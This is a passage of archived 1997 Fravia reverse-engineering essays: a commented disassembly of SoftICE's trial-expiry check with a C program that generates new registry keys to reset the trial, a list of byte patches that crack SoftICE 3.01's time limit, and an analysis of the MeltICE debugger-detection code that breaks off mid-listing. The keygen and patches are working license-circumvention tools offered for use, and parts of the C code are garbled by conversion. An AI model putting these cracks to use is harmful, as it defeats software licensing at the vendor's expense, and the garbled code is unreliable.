out to be useful, once done.
What's more: at the and of this essay you will know something more about time-stamp
encryption (and how to reverse its effects) and you will own a little program
that will show you the two magic numbers necessary to bring your expired Sice
copy back to a new life (should you really need to use it a couple of days more
because you have been very ill during the two allowed weeks :-)

Since I think you know how and where to get Softice for Windows95 (or more
probably you already have it), let's start.

Reverse-engineering at work

Here is the whole NmGetNumDaysLeft "dead" listing fully commented. The first
part is straightforward... yet you are encouraged to read it carefully (some
comments are trivial, assembly gurus will excuse me).
We will take a rest and spend some more words on the code as soon as we will
get to the main part.

/------------------------------------------------------------------------\

Exported fn(): NmGetNumDaysLeft - Ord:000Dh


:100263F0 sub esp, 00000020 ; allocate locals
:100263F3 lea eax, dword ptr [esp+04] ; address of local variable in eax
; where the key handle will be stored
:100263F7 push ebx
:100263F8 push esi
:100263F9 push edi
:100263FA push ebp
:100263FB push eax
:100263FC push 00020019 ; KEY_READ
:10026401 push 00000000 ; reserved param
:10026403 push 10078888 ; Address of key to open
; StringData ->"Software\Microsoft\Windows\Help"
:10026408 push 80000002 ; HKEY_LOCAL_MACHINE
:1002640D Call dword ptr [101C41F8] ; Open key (ADVAPI32.RegOpenKeyExA)
:10026413 test eax, eax ; returns 0 if SUCCESS
:10026415 jne 10026471 ; something wrong, jump away
:10026417 mov edi, 00000004 ; size of the buffer to hold the key
:1002641C lea eax, dword ptr [esp+10] ; address of the size of the buffer
:10026420 mov ecx, dword ptr [esp+14] ; handle of the key to query (return by
; RegOpenKeyExA) (esp+14)
:10026424 push eax ; address of the size of the
; buffer (esp+10)
:10026425 push 101C20D8 ; address of buffer to hold the data
:1002642A mov esi, dword ptr [101C41F4] ; ADVAPI32.RegQueryValueExA
:10026430 mov dword ptr [esp+18], edi ; put size of the buffer to hold the
; key in its variable (after 2 pushes
; esp+10 has become esp+18)
:10026434 push 00000000 ; type of the key (REG_NONE)

http://www.instinct.org/fravia/vicevers.htm (2 of 12) [2/7/2001 3:10:33 PM]


vicevers

:10026436 push 00000000 ; reserved


:10026438 push 1007887C ; name of the key ("OleGUIDLow")
:1002643D push ecx ; handle of the key to query (from
; RegOpenKeyExA)
:1002643E call esi ; Read the key

; Value of the low key is in 101C20D8

:10026440 test eax, eax ; returns 0 if SUCCESS


:10026442 jne 10026471 ; something wrong, jump away
:10026444 mov dword ptr [esp+10], edi ; size of the buffer to hold the key
:10026448 lea edi, dword ptr [esp+10] ; address of size of the buffer
:1002644C mov eax, dword ptr [esp+14] ; handle of the key to query
:10026450 push edi ; address of the size of the buffer
:10026451 push 101C23E8 ; address of the buffer to hold the data
:10026456 push 00000000 ; type of the key (REG_NONE)
:10026458 push 00000000 ; reserved
:1002645A push 10078870 ; name of the key ("OleGUIDHigh")
:1002645F push eax ; handle of the key to query
:10026460 call esi ; Read the key

; Value of the high key is in 10126471

:10026462 test eax, eax ; returns 0 if SUCCESS


:10026464 jne 10026471 ; something wrong, jump away
:10026466 mov eax, dword ptr [esp+14] ; handle of the key
:1002646A push eax ; on the stack
:1002646B Call dword ptr [101C41F0] ; close registry (ADVAPI32.RegCloseKey)
:10026471 lea eax, dword ptr [esp+20] ; address of buffer to hold the
; system time
:10026475 push eax ; on the stack
:10026476 Call dword ptr [101C4238] ; KERNEL32.GetSystemTime
...

\------------------------------------------------------------------------/
Ok, we are done with the easy part. Up to this point the application has read
the two keys from the Registry and has stored them into two global variables.
Low key is in 101C20D8 (on my PC, on yours can be different) and high key is in
101C23E8. Then the application has read the current time and has stored it
starting from esp+20. The time is organized into a SYSTEMTIME structure that
looks like this (from WinApi32 reference):

typedef struct _SYSTEMTIME {


WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME;

So, if the structure is in memory starting from esp+20, wYear will be the
WORD

http://www.instinct.org/fravia/vicevers.htm (3 of 12) [2/7/2001 3:10:33 PM]


vicevers

a esp+20, wMonth the WORD at esp+22 and wDay the WORD at esp+26 (if the stack
hasn't changed in the meantime).

Here is how this data are extracted from the structure and stored for future
usage (unfortunately the extraction code is mixed with the starting of the time
stamp decryption routine. We will come back on this later on).

/------------------------------------------------------------------------\
:1002647C mov esi, dword ptr [esp+20] ; year and month in esi
:10026480 xor eax, eax ; zero eax
:10026482 mov ax, word ptr [esp+26] ; day in ax
:10026487 and esi, 0000FFFF ; mask to get just the year
:1002648D mov ecx, dword ptr [1007A5C0] ; *** magic1 *** = FCB32679
:10026493 mov dword ptr [esp+1C], eax ; day in esp+1C
:10026497 xor eax, eax ; eax = 0
:10026499 xor ecx, dword ptr [101C20D8] ; ecx = magic1 xor low key
:1002649F mov ax, word ptr [esp+22] ; ax = month
...
\------------------------------------------------------------------------/

Ok, here is where the whole thing begins (actually has already begun in the
previous snippet...) What is gonna happen now? Well, Sice has the encrypted time
stamp read from the Registry and has the current time. Now it has to decrypt the
time stamp and compare it to the current time + 14 trial days. Sounds quite
easy, uh? Let's see how the decryption algorithm works. Remember that a magic
number (magic1) has already been XORed with the low key and put in ecx (previous
snippet). Is on this value (magic1 XOR low key) and not on the low key itself
that all the subsequent calculations are performed. To anticipate you something,
the value of magic1 XOR low key is nothing but the installation time stamp a
little "scrambled", as you'll see... just the date of install, but with all its
numbers "mixed up". For the moment, read on and try to follow the math; we will
stop as soon as it gets harder.

Oops! One more thing before you start reading. To make things easier I had to
introduce some math-like notation. Since the value of magic1 XOR low key is
scrambled on a nibble by nibble basis (1 nibble = 4 bit = 1 hex digit), we will
refer to it with the notation:

magic1 XOR low key = 87654321

where 8 represents the eighth nibble, 7 the seventh and so on. When you will
read something like this:

00000004

it will mean that we have a DWORD that has been obtained taking the fourth
nibble of magic1 XOR low key and putting it in first position (i.e. has been
shifted down 12 bits). If you read something like this:

00000527

it will mean that this DWORD is composed by the fifth nibble of magic1 XOR low
key in third position, the second in second position and the seventh
in first position.
If you have problems understanding this just read on a first time and come back to

http://www.instinct.org/fravia/vicevers.htm (4 of 12) [2/7/2001 3:10:33 PM]


vicevers

read it a second time after you have seen how the algorithm works (and I know you
will then easily understand).

[In the following, whenever we refer to a nibble it will always be a


nibble of (magic1 XOR low key) and not of low key itself].

/------------------------------------------------------------------------\
:100264A4 mov ebx, ecx ; ebx = ecx = magic1 xor low key
:100264A6 and ebx, 0000F000 ; ebx = 00004000 of magic1 xor low key
:100264AC mov edi, ecx ; edi = magic xor low key
:100264AE shr ebx, 0C ; ebx = 00004000 >> 12 = 00000004
; 4th nibble of magic xor low key
:100264B1 and edi, 0000000F ; edi = 00000001 of magic xor low key
:100264B4 shl edi, 04 ; edi = 00000001 << 4="00000010" ; 1st nibble
of magic xor low key :100264B7 mov ebp, ecx ; ebp="magic" xor low key :100264B9 and
ebp, 0F000000 ; ebp="07000000" of magic xor low key :100264BF mov dword ptr [esp+18],
eax ; month in esp+18 (eax) :100264C3 shr ebp, 10 ; ebp="07000000">> 16 = 00000700
; 7th nibble of magic xor low key
:100264C6 mov eax, ecx ; eax = magic xor key
:100264C8 and eax, 00F00000 ; eax = 00600000 of magic xor low key
:100264CD shr eax, 14 ; eax = 00600000 >> 20 = 00000006
; 6th nibble of magic xor low key
:100264D0 or edi, eax ; edi = 00000010 or 00000006 = 00000016
:100264D2 mov eax, ecx ; eax = magic xor low key
:100264D4 and eax, 000F0000 ; eax = 00050000 of magic xor low key
; 5th nibble of magic xor low key
:100264D9 and ecx, 000000F0 ; ecx = 00000020 of magic xor low key
; 2nd nibble of magic xor low key
:100264DF or ebp, eax ; ebp = 00000700 or 00050000 = 00050700
; (7th nib) (5th nib)
:100264E1 shr ebp, 08 ; ebp = 00050700 >> 8 = 00000507
:100264E4 or ebp, ecx ; ebp = 00000507 or 0000020 = 00000527
:100264E6 mov ecx, FFFFFFFF ; ecx = FFFFFFFF
:100264EB sub ecx, ebx ; ecx = FFFFFFFF - 00000004
; (4th nibble)
:100264ED lea eax, dword ptr [ebp+edi] ; eax = 00000527 + 000000016
:100264F1 imul ecx, edi ; ecx = (FFFFFFFF - 00000004) *
; 000000016
:100264F4 dec ecx ; ecx = (FFFFFFFF - 00000004) *
; 000000016 -1
:100264F5 inc eax ; eax = 00000527 + 000000016 + 1
:100264F6 imul ecx, ebp ; ecx = ((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527
:100264F9 imul eax, ebx ; eax = ( 00000527 + 000000016 + 1 ) *
; 00000004
:100264FC sub ecx, eax ; ecx = (((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527 ) -
; (( 00000527 + 000000016 + 1 ) *
; 00000004 )
:100264FE mov eax, edi ; eax = 00000016
:10026500 xor eax, ebp ; eax = 00000016 xor 00000527
:10026502 xor eax, ebx ; eax = (00000016 xor 00000527 ) xor
; 00000004
:10026504 sub ecx, eax ; ecx = (((FFFFFFFF - 00000004) *
; 000000016 -1) * 00000527 ) -

http://www.instinct.org/fravia/vicevers.htm (5 of 12) [2/7/2001 3:10:33 PM]


vicevers

; (( 00000527 + 000000016 + 1 ) *
; 00000004 )) -
; ((00000016 xor 00000527 ) xor
; 00000004 )

; Keep one eye on the quantity we have in ecx and keep reading...

:10026506 mov eax, dword ptr [1007A5C4] ; eax = *** magic2 *** = 7866EDBA
:1002650B xor eax, dword ptr [101C23E8] ; eax = magic2 xor high key
:10026511 xor eax, dword ptr [101C20D8] ; eax = magic2 xor high key xor low key
:10026517 add ecx, eax ; ecx = ecx + eax
:10026519 sub ecx, edi ; ecx = ecx - 00000016
:1002651B je 1002651F ; skip this odd call il the result is 0
:1002651D call ecx ; or *** suicide *** if is not...
...

\------------------------------------------------------------------------/
Here we are! So what the hell is the quantity we have in ecx and what happens
to it? There we have another magic number (magic2) where high key plays also
a role... It looks like there is a "quantity" that discriminates in some way
between good guys and bad guys. Good guys get a perfect zero on the last sub
ecx, edi. On the other hand, bad guys get something that is "non zero" and fall
into a "suicide" call. So what is in ecx? Well, for the moment we will leave it
there and take instead a quick look at the code that follows:

/------------------------------------------------------------------------\
:1002651F lea ecx, dword ptr [ebp+2*ebp]; ecx = 00000527 + 2*00000527
:10026523 lea ecx, dword ptr [ebx+4*ecx]; ecx = 00000004 + 12*00000527
:10026526 lea ebx, dword ptr [esi+2*esi]; ebx = 3*(year and month)
:10026529 mov eax, ecx ; eax = 00000004 + 12*00000527
:1002652B shl ecx, 05 ; ecx = (00000004 + 12*00000527)*32
:1002652E sub ecx, eax ; ecx = (00000004 + 12*00000527)*31
:10026530 mov eax, dword ptr [esp+18] ; month in eax
:10026534 lea edx, dword ptr [ecx+edi] ; edx = (00000004 + 12*00000527)* 31 +
; 00000016
:10026537 lea ecx, dword ptr [eax+4*ebx]; ecx = month + 12*year
:1002653A mov ebx, ecx ; ebx = month + 12*year
:1002653C shl ecx, 05 ; ecx = (month + 12*year)*32
:1002653F sub ecx, ebx ; ecx = (month + 12*year)*31
:10026541 add ecx, dword ptr [esp+1C] ; ecx = (month + 12*year)*31 + day
...
\------------------------------------------------------------------------/

Looks pretty easy. Softice is calculating the number of absolute days


corresponding to the installation date and the number of absolute days that
corresponds to the current date. The equation is:

number of absolute days = ( 12 * years + months ) * 31 + days

So we can easily recognize that:

00000016 is the installation day


00000004 is the installation month
00000527 is the installation year

http://www.instinct.org/fravia/vicevers.htm (6 of 12) [2/7/2001 3:10:33 PM]


vicevers

So, low key is nothing but the installation time stamp a little encrypted and
scrmabled. If you take the low key, XOR it with the first magic and then
"massage" it a little (i.e. taking its nibbles and putting them in the right
place) you obtain the installation time stamp. Here is a more figurative
explanation (btw, the eighth and third nibbles are not used by the algorithm):

magic1 XOR low key = 8 7 6 5 4 3 2 1


| | | | | |
| | | | | |
| | | | | |
y | y | y |
1 | 3 | 2 |
| | |
d | d
2 | 1
|
m
1

y1 first (lowest nibble) hex digit of the installation year


y2 second hex digit
y3 third hex digit
d1 first hex digit of the installation day
d2 second hex digit
m1 first and only hex digit of the installation month

For example, in my Registry low key is F1D4A6B9. XORed with magic1 (that is
FCB32679) we have 0D6780C0. Referring to the scheme above we get:

nibbles 527 = 7CD hex = 1997 decimal -> year = 1997


nibbles 4 = 08 hex = 8 decimal -> month = August
nibbles 16 = 06 hex = 06 decimal -> day = 6th

So I have installed Sice on August 6th 1997 (that incidentally is right 8-)
).
Now that we know what are the quantities that we indicated with 00000016 (the
day), 00000004 (the month) and 00000527 (the year), we can go back to the
strange expression that was in ecx (at :10026504). It was:

ecx = (((FFFFFFFF - 00000004) * 000000016 - 1) * 00000527 ) -


(( 00000527 + 000000016 + 1 ) * 00000004 )) -
((00000016 xor 00000527 ) xor 00000004 )

Let's rewrite it a little better. It becomes:

ecx = (((( FFFFFFFF - month ) * days - 1) * year ) -


(( year + day + 1 ) * month )) -

http://www.instinct.org/fravia/vicevers.htm (7 of 12) [2/7/2001 3:10:33 PM]


vicevers

(( day xor year ) xor month )

The part of code that follows (starting from :10026506) calculates another
value:

magic2 xor (high key) xor (low key)

this value is then added the previous ecx and then the day is subtracted from
this sum. At the very end we have:

ecx = (((( FFFFFFFF - month ) * days - 1) * year ) -


(( year + day + 1 ) * month )) -
(( day xor year ) xor month ) +
magic2 xor (high key) xor (low key) - day

and we know that this equals to zero for good guys and to non zero for bad guys.

Now we need a little zen. Look at this expression: month, days and year come
from the combination of a constant (magic1) and a value, the installation time
stamp, that in fact is "fixed" (i.e. it's like a constant from the application
point of view, because is "fixed" by the time you install Sice). magic2 is another
constant and low key (for what we just said) is like a constant too.
So, the only value that can make this expression zero is the high key (that we
haven't considered until yet)...

Eureka! We got it! So the high key is nothing but a checksum value
for the encrypted time stamp. And we also know that its value has to be the
one that makes the final value of ecx = 0.

Before further considerations, let's take a look at the final part of the
function:

/------------------------------------------------------------------------\
; Up to this point
; edx = absolute day of installation as
; encrypted into the registry
; ecx = current absolute day
:10026545 cmp ecx, edx ; ecx 14 ?
:10026553 jnb 1002655C ; yes, jump out (trial time has expired)
:10026555 mov eax, 0000000E ; 14 days of trial
:1002655A sub eax, ecx ; eax = 14 days of trial - days passed
; since the installation
:1002655C pop ebp
:1002655D mov dword ptr [101C20DC], eax ; save days that are left for the trial
:10026562 pop edi
:10026563 pop esi
:10026564 pop ebx
:10026565 add esp, 00000020
:10026568 ret
\------------------------------------------------------------------------/

Nothing strange here: it's just determining how many days of trials are left
and behaving as a consequence. You can take a look at the other cited essays of
project2 to know more about it.

http://www.instinct.org/fravia/vicevers.htm (8 of 12) [2/7/2001 3:10:33 PM]


vicevers

Reversing the algorithm


---
Now let's come back to our main point (here comes the nice stuff). We know
how
the installation time stamp is decoded and unscrambled and we know the
expression that calculates its checksum. If we reverse the algorithm we can
create any encrypted time stamp (low key) and the proper checksum (high key) so
to make Sice believe it has been installed, for example, today rather than one
week ago. First of all we need to reverse the time stamp decoding algorithm.
This is quiet easy since we just have to scramble the day, the month and the
year and xor it with magic1. Let's do it.

Suppose we want to make Sice believe has been installed on a certain day. The
corresponding date in hex digit will be:

4/16/527

where each number represents the corresponding nibble (hex digit) of the
scrambled time stamp (according to the notation we have introduced). For
example:

16 = desired installation day example: 0A = 10 decimal


4 = desired installation month example: 9 = 9 decimal (September)
527 = desired installation year example: 7CD = 1997 decimal

that would be September 9th 1997... let's put the nibble in order (87654321); we
get in the previous example:

8 = ?, 7 = D, 6 = A, 5 = 7, 4 = 9, 3 = ?, 2 = C, 1 = 0

We have two undetermined nibbles: 8 and 3. Let's consider them as uqual to 0.


Thus the scrambled time stamp is (for our example):

scrambled time stamp = 0DA790C0

Now we have to encrypt it XORing with the magic1 (remember that the XOR
operation is commutative):

0DA790C0 XOR magic1 = 0DA790C0 XOR FCB32679 = F114B6B9 = low key

Ok, in this example F114B6B9 will be our low key. Now we need to calculate
the
corresponding checksum. The equation we came up with was:

ecx = ((( FFFFFFFF - month ) * days - 1) * year ) -


(( year + day + 1 ) * month )) -
(( day xor year ) xor month ) +
magic2 xor (high key) xor (low key) - day

and we know that must be ecx = 0 (good guys condition). So we have the equation:

((( FFFFFFFF - month ) * days - 1) * year ) -


(( year + day + 1 ) * month )) -
(( day xor year ) xor month ) +

http://www.instinct.org/fravia/vicevers.htm (9 of 12) [2/7/2001 3:10:33 PM]


vicevers

magic2 xor (high key) xor (low key) - day = 0

Let's "massage" it a little so to isolate high key (the checksum). If we


move:

magic2 xor (high key) xor (low key)

to the right side and then we multiply both sides by -1 we get:

day - (((( FFFFFFFF - month ) * days - 1) * year ) -


(( year + day + 1 ) * month )) -
(( day xor year ) xor month )) =
magic2 xor (high key) xor (low key)

Now we can apply a couple of important properties of the XOR operator (plus
the
commutative property we already know). This properties are really useful
whenever you have to reverse encoding/decoding algorithms (e.g. the "tabel XOR"
ones):

property 1 : x XOR x = 0
property 2 : y XOR 0 = y

If we XOR both sides of the previous equation with magic2 xor (high key) and
then we apply the XOR properties we get exactly what we need:

low key =
{ day - (((( FFFFFFFF - month ) * days - 1) * year ) -
(( year + day + 1 ) * month )) -
(( day xor year ) xor month )) } xor magic2 xor (high key)

If you had difficulties understanding this I suggest you to get paper and
pencil (they are still very useful even in this hyper-technological era) and try
it out until you are convinced.

Now we know day, month and year because we decided them ourself. We know
the high key because we have calculated it before and we know magic2... we know
everything and we can calculate the checksum. For the lazy guys (real
crackers would do all the calculations by hand 8-) here comes a little C program
to calculate the correct high key and low key for the current system date.

/------------------------------------------------------------------------\
#include
#include
#include
#include

void main( void )


{
unsigned long highkey ;
unsigned long lowkey, workinglowkey ;
unsigned long magic1 = 0xFCB32679 ;
unsigned long magic2 = 0x7866EDBA ;
unsigned long day, month, year ;
unsigned long check = 0 ;

http://www.instinct.org/fravia/vicevers.htm (10 of 12) [2/7/2001 3:10:33 PM]


vicevers

/*********************************************************************

char input[10];

printf("LowKey = " ) ;
gets( input ) ;
sscanf( input, "%lx", &lowkey ) ;

highkey = 0 ;

// xor the low key with the magic


workinglowkey = lowkey ^ magic1 ;

day = ((workinglowkey & 0x0000000F ) << 4 ) | ((workinglowkey & 0x00F00000


)>> 20 ) ;
month = ( workinglowkey & 0x0000F000 ) >> 12 ;
year = (( workinglowkey & 0x000F0000 ) >> 8 ) |
(( workinglowkey & 0x000000F0 )) |
(( workinglowkey & 0x0F000000 ) >> 24 ) ;

printf("Installation date was : %02d/%02d/%04d\n", month, day, year ) ;

check = ( ( 0xFFFFFFFF - month ) * day - 1 ) * year ;


check = check - ( ( year + day + 1 ) * month ) ;
check = check - ( ( day ^ year ^ month ) ) ;
highkey = ( day - check ) ^ magic2 ^ lowkey ;

printf( "HighKey = %lx\n", highkey ) ;

***********************************************************************/

struct tm *nt;
time_t long_time;

time( &long_time ); /* Get time as long integer. */


nt = localtime( &long_time ); /* Convert to local time. */

day = unsigned long( nt->tm_mday ) ;


month = unsigned long( nt->tm_mon ) + 1 ;
year = unsigned long( nt->tm_year + 1900 ) ;
printf( "Today is : %02d/%02d/%04d\n", month, day, year ) ;

// encryption
lowkey = (( day & 0x0000000F ) << 20 ) | // low nibble in 6 (5*4) (( day &
0x000000F0 )>> 4 ) | // high nibble in 1
(( month & 0x0000000F ) << 12 ) | // low nibble in 4 (3*4)
(( year & 0x0000000F ) << 24 ) | ( year & 0x000000F0 ) | (( year & 0x00000F00 ) << 8
) ; lowkey="lowkey" ^ magic1 ; printf("LowKey="%lx\n"," lowkey ) ; check="(" (
0xFFFFFFFF month ) * day 1 ) * year ; check="check" ( ( year + day + 1 ) * month ) ;
check="check" ( ( day ^ year ^ month ) ) ; highkey="(" day check ) ^ magic2 ^ lowkey
; printf( "HighKey="%lx\n"," highkey ) ; getch() ; }
\------------------------------------------------------------------------/ As you can
see, there is a part of the code "the.class" tppabs="http://fravia.org/the.class" is
commented out. This part just asks you for the low key from your Registry and tells

http://www.instinct.org/fravia/vicevers.htm (11 of 12) [2/7/2001 3:10:33 PM]


vicevers

you when Sice was installed and which is the correct high key (this should match with
the one you find in the Registry ot in WINICE.DAT). It's purpose is just to show how
the decryption algorithm works. The non-commented part is the most interesting one
8-). It takes the current system date and gives you the correct low key and high key
to make Sice elieve it has been installed today. Just take this numbers and write
them over the old ones in the Registry and in WINICE.DAT. You will get your 14 days
of trial back! It's intended that you will use this trick because your copy expires
just on Sunday, when you need it, but the software shops are closed; you will buy it
on Monday, won't you? That's it! I wish to thank +ORC for his great tutorials (and
also his essay on the slaves... I loved it!), Fravia+ for his great WEB site and all
the +crackers that contributed and will keep contributing to it. Good
reverse-engineering to everybody! My "motto" is: Use your brain not your fingers.

ViceVersa+
August, 6th 1997
(c) ViceVersa, 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/vicevers.htm (12 of 12) [2/7/2001 3:10:33 PM]


heres002

How to install Soft-Ice 3.01 Win95 (trial version)


(useful info)
by Heres

(19 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Well, I think that many will thank Heres for this simple synthesis, or integration, of everything we have learnt so far
about the installation of Winice trial version

Soft-Ice 3.01 Win95 (14 days trial version)

- HOW TO INSTALL -

[You should use Courier New 10 in order to view and print correctly this essay]

1. Check your WIN95 registry

MyPc\HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help

OleGUIDHigh Date Value1


OleGUIDLow Date Value2

If they are present, delete them...

2. Installation

Launch the installation file si301w95.exe and reboot when finished.

See the default WINICE.DAT, but don't touch the necessay setting:

;Eval expiration date - DO NOT REMOVE!


DATE=XXXXXXXX XXXXXXXX

3. Crack session

3a. The Debugger

FileName: WINICE.EXE (795178 bytes)

http://www.instinct.org/fravia/heres002.htm (1 of 3) [2/7/2001 3:10:35 PM]


heres002

[Offset] 69CB2: 0F 82 --> EB 1B


[Offset] 69CD4: 2B 45 E4 --> 48 40 90

3b. The Loader


FileName: NMTRANS.DLL (572416 bytes)
[Offset] E21B: 72 --> EB
[Offset] E235: 2B C2 --> 48 40

3c. The Nag Screen


FileName: LOADER32.EXE (462368 bytes)

[Offset] 3969B: E8 38 A1 FE FF --> 48 40 48 40 90

4. Setting WINICE.DAT for crack (an example)

- PHYSMB=Your physical memory expressed in MB


- TRA=92 (recommended)
- INIT="CODE ON; LINES 50; WR 3; WL 2; WW 2; WD 8; WC 24;
WATCH ES:EDI; WATCH DS:ESI; X;"

- EXP=c:\windows\system\kernel32.dll
- EXP=c:\windows\system\user32.dll
- EXP=c:\windows\system\gdi32.dll

Note:

I collected this information reading the great essays made by:

Master +ORC
Frog's Print
+Rcg
The Undertaker
ED!SON

>>>>>>>>> Thanks friends !

Heres, August 18th 1997


(c) Heres 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

project 2
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia

http://www.instinct.org/fravia/heres002.htm (2 of 3) [2/7/2001 3:10:35 PM]


heres002

Is reverse engineering illegal?

http://www.instinct.org/fravia/heres002.htm (3 of 3) [2/7/2001 3:10:35 PM]


fp_melti

melted MeltICE
(SoftIce 3.xx detection and another lesson for shareware programmers)

by Frog's Print

(22 August 1997, slightly edited by Fravia)

With an important addition by Kox! (27 August 1997)


Courtesy of fravia's page of reverse engineering

Well, Frog's Print finding are indeed interesting. I'm pretty sure that we are going to assist, in the next future, to an explosion
of many little anti-softice (and anti-wdasm) tricks. I may open an extra section of my site to this if necessary... btw, to-day
ReZiDeNt signalled an "anti-BRW" trick inside Ultraedit...

Note that since the programmers keep programming in "high" languages, all this can (at most) defeat the stupid lamers... the
good-guy=1 and beggar off=0 flags are always the same... poor programmers... how long should we repeat it to you? YOU
HAVE TO PROGRAM PROTECTIONS IN ASSEMBLER ON YOUR OWN, you do not have to:

1) Use Visual Basic made protections;


2) Use ready-made third party protections (if the people selling them
would put their money where their mouths are you would see many more
working demos of their protections on the net, btw);
3) Use Visual C++ made protections;
Write your own small protections routines in assembler using some forgotten dos call and some empty bits inside the file
header for Ginger Rogers' sake, and you'll fend off more than 80% of all attacks on your software!
Well here you go: Meltice melted away under the touch of Frog's Print...

MeltICE
(SoftIce 3.xx detection)

by Frog's Print

I found today at http://www.window95.com a file named MeltICE. This is an updated


version of "ICEcream" whose only purpose was to detect if a version of SoftIce was
loaded and "to make shareware developers a little bit easier about the safety of
their software" as it's author (David Eriksson) wrote.
The file contains a source code that (lazy) protectionists can add to their programs.
MelICE was written specially for the new versions of SoftIce: v3.0 and 3.01 (Win
95/NT).

How it works:
The program will open the VxD driver named SICE (Windows 95) or NTICE (for Windows
NT)
with CreateFile. It will then check the file's Handle (in EAX) in order to see if
SoftIce Win95 or WinNT is loaded or not.

Below are the source code of MeltICE and a disassembly listing that I did with
W32dasm
of an .exe file compiled with this code:

http://www.instinct.org/fravia/fp_melti.htm (1 of 6) [2/7/2001 3:10:38 PM]


fp_melti

MeltICE - SoftICE '95 version 3 detection - Made by David Eriksson

#include <stdio.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

// See if SoftICE version 3.x for Windows 95 is loaded


BOOL IsSoftIce95Loaded()
{
HANDLE hFile;

hFile = CreateFile( "\\\\.\\SICE",


GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if( hFile != INVALID_HANDLE_VALUE )


{
CloseHandle(hFile);
return TRUE;
}
return FALSE;
}

// See if SoftICE version 3.x for Windows NT is loaded

BOOL IsSoftIceNTLoaded()
{
HANDLE hFile;

hFile = CreateFile( "\\\\.\\NTICE",


GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if( hFile != INVALID_HANDLE_VALUE )


{
CloseHandle(hFile);
return TRUE;
}
return FALSE;
}

// Example code for calling these functions

int main(void)
{
if( IsSoftIce95Loaded() )
printf("SoftICE for Windows 95 is active!\n");

http://www.instinct.org/fravia/fp_melti.htm (2 of 6) [2/7/2001 3:10:38 PM]


fp_melti

else if( IsSoftIceNTLoaded() )


printf("SoftICE for Windows NT is active!\n");
else
printf("Can't find SoftICE with this method!\n");

return 0;
}

And now, the Dead Listing of an .exe file using that code:

* Referenced by a CALL at Address :004011DE


:00401080 E87BFFFFFF call 00401000 ; first, check for S-Ice Win95
:00401085 85C0 test eax, eax ; check if loaded...
:00401087 7410 je 00401099 ; No, jump to check_NT, if yes:
:00401089 6894604000 push 00406094 ;->"SoftICE for Windows 95 is active!"
:0040108E E83D000000 call 004010D0
:00401093 83C404 add esp, 4
:00401096 33C0 xor eax, eax
:00401098 C3 ret ; S-Ice Win95 detected. Bye_bye.
:Check_NT
:00401099 E8A2FFFFFF call 00401040 ; Now, check for S-Ice WinNT
:0040109E 85C0 test eax, eax ; check if loaded...
:004010A0 7410 je 004010B2 ; jump if NOT loaded to can't_find, else
:004010A2 6870604000 push 00406070 ;->"SoftICE for Windows NT is active!"
:004010A7 E824000000 call 004010D0
:004010AC 83C404 add esp, 4
:004010AF 33C0 xor eax, eax
:004010B1 C3 ret ; S-Ice WinNT detected. Bye_bye.
:can't_find
:004010B2 6848604000 push 00406048 ;->"Can't find SoftICE with this method!"
:004010B7 E814000000 call 004010D0
:004010BC 83C404 add esp, 4
:004010BF 33C0 xor eax, eax
:004010C1 C3 ret ; S-Ice not found.

********************************End of detection********************************

The detection/CreateFileA routine for S-Ice Win95:

:00401000 6A00 push 00000000 ; CreateFileA parameters


:00401002 6880000000 push 00000080 ; ...
:00401007 6A03 push 00000003 ; ...
:00401009 6A00 push 00000000 ; ...
:0040100B 6A03 push 00000003 ; ...
:0040100D 68000000C0 push C0000000 ; ...

* Possible StringData Ref from Data Obj ->"\\.\SICE" ; VxD driver for S-Ice Win95
:00401012 6830604000 push 00406030

* Reference To: KERNEL32.CreateFileA, Ord:0031h


:00401017 FF15BCA04000 Call dword ptr [0040A0BC] ; CreateFileA
:0040101D 83F8FF cmp eax, FFFFFFFF ; Handle= -1 ?
:00401020 740D je 0040102F ; Yes, jump otherwise...

http://www.instinct.org/fravia/fp_melti.htm (3 of 6) [2/7/2001 3:10:38 PM]


fp_melti

:00401022 50 push eax ; SoftIce Win95 IS loaded!

* Reference To: KERNEL32.CloseHandle, Ord:0018h


:00401023 FF15F8A04000 Call dword ptr [0040A0F8] ; Close file's handle
:00401029 B801000000 mov eax, 00000001 ; Eax:=1
:0040102E C3 ret !
; Back to the caller

* Referenced by a (C)onditional Jump at Address :00401020


:0040102F 33C0 xor eax, eax ; Eax:=0 (not loaded)
:00401031 C3 ret !
; Back to the caller
...
The detection/CreateFileA routine for S-Ice WinNT:
...
* Referenced by a CALL at Address :00401099
:00401040 6A00 push 00000000 ; CreateFileA parameters
:00401042 6880000000 push 00000080 ; ...
:00401047 6A03 push 00000003 ; ...
:00401049 6A00 push 00000000 ; ...
:0040104B 6A03 push 00000003 ; ...
:0040104D 68000000C0 push C0000000 ; ...

* Possible StringData Ref from Data Obj ->"\\.\NTICE"; VxD driver for S-Ice WinNT
:00401052 683C604000 push 0040603C

* Reference To: KERNEL32.CreateFileA, Ord:0031h


:00401057 FF15BCA04000 Call dword ptr [0040A0BC] ; CreateFileA
:0040105D 83F8FF cmp eax, FFFFFFFF ; Handle= -1 ?
:00401060 740D je 0040106F ; Yes, jump otherwise...
:00401062 50 push eax ; SoftIse WinNT IS loaded!

* Reference To: KERNEL32.CloseHandle, Ord:0018h


:00401063 FF15F8A04000 Call dword ptr [0040A0F8] ; Close file's handle
:00401069 B801000000 mov eax, 00000001 ; Eax:=1
:0040106E C3 ret !
; Back to the caller

* Referenced by a (C)onditional Jump at Address :00401060


:0040106F 33C0 xor eax, eax ; Eax:=0 (not loaded)
